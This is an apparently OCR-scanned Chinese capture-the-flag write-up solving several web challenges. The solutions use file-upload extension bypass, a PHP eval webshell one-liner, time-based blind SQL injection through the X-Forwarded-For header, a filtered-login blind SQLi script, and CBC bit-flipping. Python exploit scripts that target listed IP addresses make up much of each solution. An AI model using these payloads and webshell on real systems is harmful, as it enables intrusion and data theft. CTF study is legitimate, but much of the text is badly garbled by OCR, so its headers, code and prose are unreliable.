AL ZNIEIP, SRJG1ENTS Rpassword, #2538, KRR T . T T ?x=admin HIiflag. - -

sKgetshell

-l =] 74 Solves

Skgetshell
150
zkgetshell

http://120.24.86.145:8002/web 9/
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EAf

BMITEER. KR RE A%

ER SRS el

php#ii#: php2, php3, php4, phps, phps, pht, phtm, phtml 2734 T

K I php5geid
T 1 Content-TypefIE kN5 Seit

e — f—— eI -
POET foraboty indace plip HTTE/ 1.2 & HITF/L.1 200 0K
Hoat: 10,2454 | 458002 T Berves ngins
Prosy-Coansrtion: ks p-alive Emte: W, 07 Jun 2007 00:5640 QW7
Conteni-Length: 301 Comieai-Trpe: ot/ Iind
TiA-A g COmT ecTion lies -l e
£ D024 345, L4 50003 BeeprAlive: Caconr=Gl
Comtest-Length: 363
Uner-fgent: Mosilia /5.0 Windows T &0 WOWGA | AppdaWali iy 537 36 (EHT ML, 1300 Geelal
Chirteus) 57,0 2007 133 2al 537.36 <htude
T i) e datn; e adenes——WabKitFarmBoun dany KV SeChun UL L Srdid whzadyn
el rad +omnd ol i, L g A v, e 2 | il agtnnstindu: plip uekbods" post” enctypes il fipast one-dese
Pesdarer: Lirtpsd D002 ek indaz pl p My nauie 8 AT give e & Gusgs fils not & plipekos
Accepi-Racoding: s <hrs
Aceepr-Langiags: 2h-CF Pl nAnes " (e
Conliie: PHFSESS (Do 3 il gl el T g anbil” D" pabaslt” vlne=" Sk ¢>
e el Pt B e W SeOw TULL A
CateatDisposilios: Srurdate; Saises"lle", flsmimes"aa plips*
ContantTrys: mnge ' Gy HE oty 3 5ule | 23000
=l
wchin 'L
=
e .
Tl ] ] (Sl T T SR T | S [ S e
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flag.php
150
Hehk : http://120.24.86.145:8002/flagphp/
AT loginEIR BT

127 - hint
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BT BN, fchint 2022 R ILGET —~hintglt A Y8405

<Tphp

error_reporting (0);

include_omce(“flag. php');

$oockie = §_COOKIE[ ISscer’]:

if{izset ($_GET[ hint" 1)) {
show_source (__FILE__):

charset=UTF-8" >

i
slseif (imserialize(§cookie) == “fKEV")
{

echo "$flag”:
i
elze |
?>
<hitmd >
<head>
<meta  http-equiv="Content-Type” cortert="text/himl;
<titlerLogind/title’
<lirk rel="stylesheet” href="admin css” type="text/css">
</head>
<body>
<hr >
<div class="container” aligrn="center”>

form method="POST" action="#"»

{priirput name="user” type="text”
(priirput  name="password” type="paszsword’
(priirput  value="Login”
<form>
<Sdiv>
</body>
</himl>

<iphp
1

$EEY="15ecer:wyw, izecer.com’ ;
T

type="but ton" /> </ pr

placeholder="Usemame” »</p>
placeholder="FPassword” »{/p>



10T, 5 {6 cookie % JyiSecer MR I . I FLIF IR K1l 32 4 41125 F"SKEY”
R 5
($flag === "$KEY")

"flag:{111111}";

M HSKEY AR E R 2 5 1. B BUR T A B A 2 'ISecer:www.isecer.com’.
TRA 1A B 48 S string(0) ™ BT LA FIAL iZABE BI AT .

var_dump ("$KEY");

$KEY 'flag';

?>

string(e)

[Finished in 8.1s]

print_r(serialize("$KEY"));
$KEY ‘flag';
?>

S:a:llll-:
[Finished in ©.2s]



GET /Baggphip’ HTTRY L1 ] HITRY L1 200 0%
Howt: L30.24 55 14%0002 i

iaz-age=i
A 10,24, 86. 1450002
e 1

Conmection: loeegralive
Kirw e Al Eitismti =60
Contant-Lanyth: 27

bl i AT ML =00, i e Wb 1= 0.0
50002/ Bagg:lip!

b

Aaseept: texn litusd A e Daglnmocrialise_ly_virink
Rafurar: kip:y { 120, 24.5

Accepi-Encoding: gz
Actept-Langage: si-CIsli=0.5
Cooigie! [Boeer=a:l

Web15

web15
150
oAk ; http://120.24.84.145:8002/web15/

flagf&Tt : flaglooooooonoaod]
AANESPythonl®

error_reporting(0};

function getlp(}{

$ip="1
iflisset($_SERVER['HTTP_X_FORWARDED_FOR))
$ip=%_SERVER['HTTP_X_FORWARDED_FOR']:
lelsef

$ip=%_SERVER['REMOTE_ADDR'];

}

Sip_arr = explode(!, $ip);

return $ip_arr[0];

}

$host="localhost";
Suser="";
$pass="";

$db="";

Sconnect = mysql_connect{$host, $user, $pass) or die("Unable to
connect”);

mysql_select_db(%db) or diel"Unable to select database”);

Sim = oatlnll

25 1 IRAY
RINSERT INTORIFEN, H FASAEA", 75 U S04 T 5 )
Payload:

11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and
"1'="1

Python/ifi 4

import requests

import string

url="http://120.24.86.145:8002/web15/"

allString=string.lowercase + string.uppercase + string.digits

flag=""


http://120.24.86.145:8002/web15/

for i in range(1,33):

for str1 in allString:

data="11"+(select case when (substring((select flag from flag ) from {0} for 1 )="{1}') then sleep(4) else 1 end )
and '"1'="1".format(str(i),str1)

# print data

headers={"x-forwarded-for":data}

try:
res=requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout, e:

flag += str1

print flag

break

print 'flag:' + flag

A EE2

HE 42 Solves

XiEEaE2
150

http://47.93.190.246:49166/
flagfBTh | SKCTFBoooooooomxxxxx )
hint:3 {05

Key SUBMIT

F filef 2 E, php //fllter/read convert.base64-encode/resource=hello.php

= = O (D 4793190.246:401 few.phpMile=phpy erfread =convert.basebd-encode/resource = hellophp

NAIVE!!!

N

FEIEARY, KIA A upload.php A& . firbL bBAE—ANar—a) A 1) B e BT .
‘<?php’ « PIXPAPILUE T BRI Ef~

<?=eval($_POST[cmd);

PRI

| = 0 47.93.190.246

[ f548: /var/www /html/this_is_th3_Fl4g_154f65sd4g35f4d6f43. bet

{377

1 SKCTF{uP184D_includ3_426Fh8_is_Fun}
2



sqlif A2

HE 59 Solves

sqliEA2
190
http://120.24.86.145:8007 /web2/
SWtmiTHTEBE 7
BrRl==+" %
Key SUBMIT

R HsqliEN W TIFAA, TREHEMA. « o GRRAUVN Fag #ir 7. B!
wordpress

= 31 Solves

wordpress
200
http://wp.bugku.com/
HEET 10558 , MTiERESRAT ,
EHEEEFEEET.
EFEFFIEENEE—FERNE

SUBMIT

Key

k&

sun

1998.03.21F5 L g0 g




BNEG . XA G S5 %S sun sun19980321

E BRSO =
flagfEiXE
Bt bupetwp bugkucomTp=7  EaETEE
s il XE
S *rB I EE#%E=E=LREE . ‘
wp wizTrzYRdbrbyjAx '
1
LEEIRHATRT

2 NTRBEA FE, 2
% Flhttp://wp.bugku.com/phpmyadmin/ & A

%] BR¥HE: localhost p [iu HIER: wp » [ X : flag
EHE g4 Nsu B HEA ESE Bheat ¥
phpliyAdmin o .
BT 0- 2 (3 2, EBES% 0.0002 )
= 3 g \
DEEQE | v am
Higw SELECT *
wp (13 b FROM flag
LIMIT O, 30
flag
¥p_commentnata
wp_comments
B wp lisks
pestasts (8% |0 | FEAH: O
E ¥ ;] B J_\l T T
a ':j::::ﬂh“m.m” ‘ EL | e v HEHBT #EE\E TRTIEEEERE
¥p_tarn_taxonony FRARF: | x v | | thiT
wp_termmeta
B U:_lerl! : T - flag
wp_userneta 0 f >
¥p_users
? m} f > EEYIflag_089_admin}
[ 4 ¥ ¥EY{flag 0BY_admin}
Tt =/ 2HFE AeH g X B
| m= | |om [ 5. IZhbiSdk: |n
Login3
B 24 Solves
login3
200

http://47.93.190.246:49167/
flaghf&h @ SKCTFDoooomsxeon )
hint : EF R/REISQLEE

F WK

Key SUBMIT




€ T H% or and where + * union ,%0a %0b %544
A5 A

Payload

import requests

url = 'http://47.93.190.246:49167/index.php'

r = requests.Session()

result ="

for i in range(1,33):

for j in range(37,127):

payload = "admin1'Xascii(mid((password)from({0})))>{1})#".format(str(i),str(j))
print payload

data = {"username":payload,"password":"asd"}
html = r.post(url,data=data)

if "password error!" in html.content:

result += chr(j)

print result

break

print result

it MD5fi % & A RIAT

Login

Oh you get it SKCTF{b1iNd_SQL_iNJEctiOn!)



http://47.93.190.246:49167/index.php

login4

o] =

login4d
250

http://47.93.190.246:49168
flaghE | SKCTF oo
hint: CBCFTlle i

R IR

Key SUBMIT

BIENEF RS ABAEN, MR . &I.index.php.swp 77
W RIS . ARPESE R, HE 12 H cbe - Rl i it
JRHEE L E: http://wooyun.jozxing.cc/static/drops/tips-7828.html

T 5 Jcpost username = ‘qdmin’ password="1" £x755]— v cipher

M CBC 1 84 Wik qdmin #Iq Bk a ) i 3 2 cipher .

1bICE2DChNniDZE8ADEFTEXTRYASVGPL I muh9AusfuhP+QMb32zus Ik lg+Tx883ZzPBAFVPF Z1dyY /1yyCKqzIMA==
‘Finished in 8.1s5]


http://wooyun.jozxing.cc/static/drops/tips-7828.html

E#f.cookie[cipher] FE. Vil .

RFIMERIG ., SR 2 — N (167717 BR 1o Ry Eusername 2245 F-admin it EAAS GE A I SCE B
MR RIRTE 7T RN — DR EIh, 56— MR MIVA S, U 22 £ CBC AL
i, REHIVEL T DUE R S — Bl

kPofEoEyPBz2tWRk JBEZIw=—=

[Finished in B.15] o

el 9 akiiln Fiag Is BROTFICRC sl ooy pioism ply_SGA5anstesl=, p=o5

%, T https://www.cnblogs.com/zhengjim/p/6972527 .html
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